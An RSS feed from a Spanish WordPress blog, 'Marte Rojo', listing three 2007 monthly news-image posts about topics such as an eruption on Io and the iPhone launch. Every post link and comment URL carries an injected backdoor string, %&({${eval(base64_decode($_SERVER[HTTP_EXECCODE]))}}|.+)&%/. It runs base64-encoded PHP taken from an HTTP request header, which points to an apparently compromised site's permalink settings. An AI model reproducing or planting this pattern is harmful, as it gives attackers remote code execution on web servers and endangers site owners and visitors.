<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Marte Rojo &#187; Imágenes de&#8230;</title>
	<atom:link href="http://marterojo.arquificio.com/category/imagenes-de/feed/" rel="self" type="application/rss+xml" />
	<link>http://marterojo.arquificio.com</link>
	<description></description>
	<lastBuildDate>Mon, 22 Aug 2011 09:36:52 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Imágenes de marzo.07</title>
		<link>http://marterojo.arquificio.com/2007/04/02/imagenes-de-marzo07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://marterojo.arquificio.com/2007/04/02/imagenes-de-marzo07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 02 Apr 2007 10:46:29 +0000</pubDate>
		<dc:creator>EFEjota</dc:creator>
				<category><![CDATA[Imágenes de...]]></category>

		<guid isPermaLink="false">http://marterojo.arquificio.com/archives/38</guid>
		<description><![CDATA[3.marzo
Erupción en Io. La sonda New Horizons de la NASA, capta una erupción volcánica en el satélite de Jupiter. La estela gaseosa expulsada por el volcán Tvashtar, se eleva 290 Km (ocurrió el 28.feb) Se pueden apreciar otras dos erupciones menores: una en la posición de las nueve en punto perteneciente al volcán Prometheus, y [...]]]></description>
		<wfw:commentRss>http://marterojo.arquificio.com/2007/04/02/imagenes-de-marzo07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Imágenes de febrero.07</title>
		<link>http://marterojo.arquificio.com/2007/03/02/imagenes-de-febrero07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://marterojo.arquificio.com/2007/03/02/imagenes-de-febrero07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 01 Mar 2007 23:53:56 +0000</pubDate>
		<dc:creator>EFEjota</dc:creator>
				<category><![CDATA[Imágenes de...]]></category>

		<guid isPermaLink="false">http://marterojo.arquificio.com/archives/32</guid>
		<description><![CDATA[1.febrero
Apagón contra el cambio climático. El grupo francés Alianza por el Planeta ha convocado a un apagón eléctrico global de 5 minutos a las 19.55 (hora española). El objetivo es hacer un gesto de concienciación sobre el problema del cambio climático precisamente el día que se reúne en Paris la Comisión Intergubernamental sobre el Cambio [...]]]></description>
		<wfw:commentRss>http://marterojo.arquificio.com/2007/03/02/imagenes-de-febrero07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Imágenes de enero.07</title>
		<link>http://marterojo.arquificio.com/2007/02/02/imagenes-de-enero07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://marterojo.arquificio.com/2007/02/02/imagenes-de-enero07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 02 Feb 2007 22:36:57 +0000</pubDate>
		<dc:creator>EFEjota</dc:creator>
				<category><![CDATA[Imágenes de...]]></category>

		<guid isPermaLink="false">http://marterojo.arquificio.com/archives/24</guid>
		<description><![CDATA[8.enero Se venía hablando, pero ha saltado la liebre y nadie se ha librado de citar el iphone, la propuesta de Apple para telefonía móvil. Un diseño exquisito en un producto al que muchos ponen muchas pegas (el precio la primera de ellas)

20.enero En Camboya ha aparecido una niña salvaje que se ha criado en [...]]]></description>
		<wfw:commentRss>http://marterojo.arquificio.com/2007/02/02/imagenes-de-enero07/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>

